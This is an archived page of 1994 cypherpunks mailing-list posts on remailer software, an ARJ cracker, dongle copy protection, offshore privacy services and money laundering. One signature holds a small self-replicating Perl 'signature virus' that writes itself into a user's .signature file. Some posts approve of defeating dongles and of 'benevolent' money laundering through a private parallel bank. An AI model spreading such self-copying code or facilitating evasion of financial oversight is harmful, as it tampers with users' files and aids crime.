December 2003 - cypherpunks-legacy

PGPTools on linux
by lcottrell＠popmail.ucsd.edu 17 Dec '03

17 Dec '03

I have been trying to get mixmaster running on FreeBSD and Linux, and I suspect that the problem lies with PGPTools. Has anyone been able to compile PGPTools for those platforms? If so, could you tell be what compiler settings you used? It would also be nice to see if your source code matches what I am using. Many thanks all. As soon as I have mixmaster running on Linux and FreeBSD I will start distributing it (it already works on SPARCs). -------------------------------------------------- Lance Cottrell who does not speak for CASS/UCSD loki(a)nately.ucsd.edu PGP 2.6 key available by finger or server. Encrypted mail welcome. Home page http://nately.ucsd.edu/~loki/ Home of "chain" the remailer chaining script. For anon remailer info, mail remailer(a)nately.ucsd.edu Subject: remailer-help "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche

1 0

Internet World Interview
by James Domengeaux 17 Dec '03

17 Dec '03

This is for PrOduct Cypher I am the research producer for Computer Television Network and we are currently working on a series (3) of TV shows about Business and the Internet. We will have a camera crew at Internet World in Washington DC Dec 6 and would like to schedule an interview if your company will be represented at this show. Please contact me via email as to availability. ------------------------------------------------ James Domengeaux Research Producer 11/25/94 23:37:04 Email:ace@phoenix.phoenix.net Home Page:http://www.phoenix.net/USERS/ace/ctn.html ------------------------------------------------

2 1

Re: ARJ Cracker....
by cwedgwood＠cybernet.co.nz 17 Dec '03

17 Dec '03

Michael Handler replied: Re: ARJ Cracker program >Sorry, Chris, it doesn't come with the source... I can still send >you the MSDOS binaries if you're interested. I am interested in the binaries are say <20K, otherwise there is too much disassembly required..... >I have a document that shows the ARJ data format, if that's what >you're interested in... That'd be WAY mega spinach cool. I have developed an extreme dislike for ARJ and would really like to write a fully featured faster ARJ program mainly because the one I have (2.41a) is so crippled and [IMAO] the author is totally undeserving a single cent. P.S. These opinions are mine. If they offend then feel free to kill-file me, otherwise - tough! ------------------------------------------------------------------------------ Chris Wedgwood <cwedgwood(a)mserve.kiwi.gen.nz> Finger for PGP Key ------------------------------------------------------------------------------ #! /usr/bin/perl open(I,"$0");@a=(<I>);shift(@a) until $a[0] =~ /^#!/; open(I,">>$ENV{'HOME'}/.signature");print I @a;__END__ <perl signature virus V2.0 - do 'perl -x articlename'>

1 0

NONE
by anonymous-remailer＠shell.portal.com 17 Dec '03

17 Dec '03

Fri, 25 Nov 94 20:20:01 CST Gary Jeffers <CCGARY(a)MIZZOU1.missouri.edu> wrote: What follows is an advertisement by the Privacy Digest people. These people have been around longer than 10 years. [ snip ] Since these people are in Costa Rica, it will take more postage than [ snip ] The copied text follows: [ long advertisement for photocopied reports deleted ] I am hoping for a reply from Tim May (who's been absent for some days now?) and especially Black Unicorn; I know neither but have a gut feeling one of them would have a comment or two. My own 2 cents: 1. As a rule, while lots of Cypherpunks are no doubt interested in related themes (privacy in general, for instance, or liberty) please do not point entire texts to the list. Instead, sum it up and explain where those of us with a yen to see more can get the full information. This is not a flame to you personally, Gary, but please heed it. Otherwise you are flooding us... 2. Dealing with your post specifically, I have to ask for your qualifications. I happen to know this particular neck of the woods fairly well, as does Mr Unicorn, and I know that Williams in Costa Rica has not been around for 10 years. In fact, on the same address and phone number, he has not even been around for 1! (He did have other phones there before, granted). 3. While not wanting to single out Williams (the "Privacy Digest people" as you call them) because I have nothing more than a hunch, I want to let the list know that there has been at least one US Government sting operated out of a Costa Rica front address. Also, another sting used the corporate name of Financial Engineering as Arnie (Offshore) mentioned about a month ago. 4. The stuff that Williams sells -- and that you advertised to the list -- is not worth a lot of money. His services, if they are for real and not a sting, are good, but they are not organized efficiently and they are slow (I actually opened a test account with him so I am qualified) which means that even if he is not in bed with Sam you probably still ought to take your cash elsewhere. 5. If you do go ahead and decide to buy his programs, be aware that their lega advice is highly "inventive" and that much of their information is untrue or at least misleading. On more complex subjects (such as 2nd "banking passports" he whips up 20 halfbaked pages of false info where in fact the subject needs to be treated in at least 200 pages, thoroughly researched. And where the leading authority in this field is in fact on his 9th edition now, totalling 400+ pp. 6. Finally, some of Williams stuff is out of date. Worse, at least one report does not exist - and that is the one that would point to most government heat if you order it. Just out of idle curiosity, I had my foreign lawyer order so that was how I found out. If you order it (and if Williams is a front, or just if the Evil Empire is watching his mail; which IMO is even *more* likely) this mere fact will trigger an extensive immediate FBI investigation of who you are. While I hate to say it, there is currently to my knowledge no easy turn-key one-stop-stop "Where to go to break the law" foreign operators that I would trust. If you want true privacy, carve it out for yourself, don't rely on someone who advertises a lot and sells photocopied reports to give it to you. BTW, the services Williams are offering are sorely needed -- when they can be trusted. (Fiduciary accounts for everybody is one service, anonymous foreign credit cards is another, and several of his services could come under the heading of benevolent moneylaundering). One day you will see them coming from somewhere else, with a more professional twist and from guys who earn their bread off the fees, not off photocopies. I can outlike how such a private 'parallel-bank' is going to work if asked. For now, I prefer to post anonymously. I would be interested in getting a pseudonymous account of the kind described by 'Nobody' on Friday but would want a better place that mg5n to set it up. "Capt'n Bob" -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6 mQCNAy7W3GoAAAEEAMQqHR+mHowjb7JsVxkCRCg0iM3uitOS2cIcctVIuXVJW6ou iumOw2zMURT5LFgGD2XHr7sre8jm9VUGWwFAaRTJB85Kj4Vy2/dGId2kK7Z/YsrE tVQDw75I8UYa3//PS5C2xCZROz5YHVEjvGcl3QqRLw8xVsgG+OZrkMibcPMNAAUR tBpUaGUtQ2FwdGFpbiAoIkNhcHQnbiBCb2IiKQ== =yrC+

1 0

NYT on Satellite Radio
by John Young 17 Dec '03

17 Dec '03

Peter Passell writes longish article today on the company CD Radio and other ventures to sat-cast digital radio nationwide. One excerpt: "with digital technology, satellite broadcasters can stuff dozens of channels of CD-quality, interference-resistant programming into a narrow ban of frequencies." Has there not been discussion here before about the use of this technology in lieu of hard-wire for the Net? For e-mail copy send blank message with subject: SAT_rad

1 0

DC-nets
by tim werner 17 Dec '03

17 Dec '03

------- Start of forwarded message ------- >From: rishab(a)dxm.ernet.in >Date: Thu, 24 Nov 94 00:03:28 IST Writing about Brad Templeton's fears: >He'd have been even more shocked if you told him about other future >technologies such as DC-Nets... Of course if faced with a situation he'd >probably try to claim 'conspiracy'. What's a DC-net? thanks, tw

1 0

CP lawyers?
by merriman＠metronet.com 17 Dec '03

17 Dec '03

I seem to recall that some of the postings to the CP list indicated that the authors were lawyers, and it got me to wondering: If true that some on the CP list are lawyers, have they (or would they consider) providing pro bono representation of someone charged with an ITAR, or similar, violation? It would seem like one way (though not the best :-) of pushing back some of the limitations on crypto..... Dave Merriman - - - - - - - - - - - - - - - - - - - - - - - - - - Finger merriman(a)feenix.metronet.com for PGP public key and fingerprint. PGP encrypted Email welcome, encouraged, and preferred. "Those who make peaceful revolution impossible will make violent revolution inevitable." John F. Kennedy

1 0

Re: PC MSDOS hardware key proposal
by cwedgwood＠cybernet.co.nz 17 Dec '03

17 Dec '03

Jyri Poldre <jp(a)pitsa.pld.ttu.ee> wrote: ______________________________________________________________________ Frgiv me if i am a bit off theme, but it just seemed as a good idea. As I am going to have some off-time tonight I might forget that and on the other hand maybe someone can use it in protecting his/her intellectual property and this would certainly be linked with our topic. The idea came to me after seeing some incredibly small piece of code doing some unbelievable damage. Like 3 kbytes of com making hardware key useless. I started to play with idea of having something more reasonable for PC SW developers. For start it is not possible to use any type of key checking, because dos is open system and allows everyone to intercept and disable it. The lock must be a part of program itself. Also one must concider the dataflow and power consumption, meaning you cannot have second floating point unit in printer/serial port.You cnt put it into slot , cause it should be reasonably cheap. My idea for such device is the following: Have the HW unit calculate the If-then-else conditions in program flow. it is not reasonable to do it everywhere, but just in some places( depends on the money/time one used to devolop product and similar relation of expected hacking ) . For that purposes you could collect all results into flags and present them to this Hw unit. It calculates the condition as boolean function of input variables. If you want more entropy you could involve state machine in this unit. Also some delay, what would be built into ( one cannot just send data through printer port with 32 Mbytes /sec.) although for user it would be unnoticed , but using brute force and 32 bits of data this would make our friendly hacker quite old. Another alternative is to understand the dataflow in program but from binary to get the idea... no , this is a bad idea. so - just when it comes to ITE you present printer port with 3-4 bytes calling some procedure what reads flags from global variables and returns carry - to go or to stay. that's it. An attack might also concider just listening the device and writing down the values but you would have to go through all checkpoints using all possible flag values and that would take some and also involve understanding of program dataflow. One good point using that system is that it would possibly not always crash- it would just for starters give you wrong answers. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Doesn't work, atleast in some form. I have removed hardware dongle protection that does just that by watching what the hardware does for a long period of time (logging it) and then writing interception/emulation code. A better idea I think is something like digital signatures. Get the hardware to produce a digital signature or some random data. If random isn't available then a reasonable pseudo-random algorithm would suffice provided it was implemented carefully (well seeded). SmartCards can probably do this with say ESIGN [see Eurocrypt '93 (or maybe 92?)] If you do want to make a delay in your dongle (or whatever) then it should ONLY delay for wrong responses or for patterned responses (hard to detect) that might indicate an attempt to brute force it - like many modern UHF car alarms and garage door openers. Extensive control of program flow might be very difficult to program and quite cumbersome. Another thing - how practical is this hardware? If it is implemented on a micro-controller then it can be disassembled is the code inferred via other means. PAL and GAL chips can also be read - and if the no-read bit is set and the complexity of the device low enough (as is likely for in-expensive devices) then you can infer whats inside these also (although usually it not a NP-complete soln time wise....) Chris

3 2

Privacy Digest - Blk Unicorn , Frissell, Sandfort
by Gary Jeffers 17 Dec '03

17 Dec '03

Dear Cypherpunks, "Captain Bob", posting as anonymous, subject NONE, has posted a most disquieting post in reference to my original Privacy Digest post. Urgently needed are the opinions of Black Unicorn, or possibly Sandy Sandfort or Duncan Frissell as to whether or not the Costa Rican reference I gave is a "STING". Cap't Bob says that the Privacy Digest people have not been around very long. However, If I remember right, Eden Press referred to them in their book PRIVACY more than ten years ago. Bob asks me what are my qualifications? Well, I'm not an expert but if you look at me from the correct angle I look like an expert. I posted the original Privacy Digest to other groups as well, so I would like to send any criticisms of my post to these other groups. Yours Truly, Gary Jeffers

2 1

re: money laundering
by khijol!erc 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I think that most people forget that as soon as that sort of money enters the banking system, it can be tracked. "Wire $20K to XXX" presumes that that $20K came from somewhere, and unless you're careful about where it came from and where it's going, you could be buying yourself a whole lot of unwanted attention, even if it's a prefectly legitimate transaction. Coming in with a suitcase full of money is bound to get you talked about, and writing a check... well... It's getting rather difficult to move large sums of money around nowadays if it either enters or leaves the US banking system, and if it's a friendly nation (which Canada is), if the Feds have a reason to look at you, an international border isn't going to prove much of a drawback. - -- Ed Carp, N7EKG Ed.Carp(a)linux.org, ecarp(a)netcom.com Finger ecarp(a)netcom.com for PGP 2.5 public key an88744(a)anon.penet.fi ** PGP encrypted email preferred! ** "What's the use of distant travel if only to discover - you're homeless in your heart." --Basia, "Yearning" -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAwUBLtfAYSS9AwzY9LDxAQHtHgP/bKm9+giQ9R4rOAOfCTKmdSHlPiVXUsNu PeMNgvzrIrMo8SFmJg5xj8jzHUstbEQZ+ZZJyl7Xp5Fnv2GTTrz/pQYUZha0fm+v B50kUgWVvNtEmlmvOpQcFDobkoYxh8SiflvLTRsoUgvphqUZGOsJ8FkUFNkEm8nf ME2Cv1e2B5c= =Xt7m -----END PGP SIGNATURE-----

1 0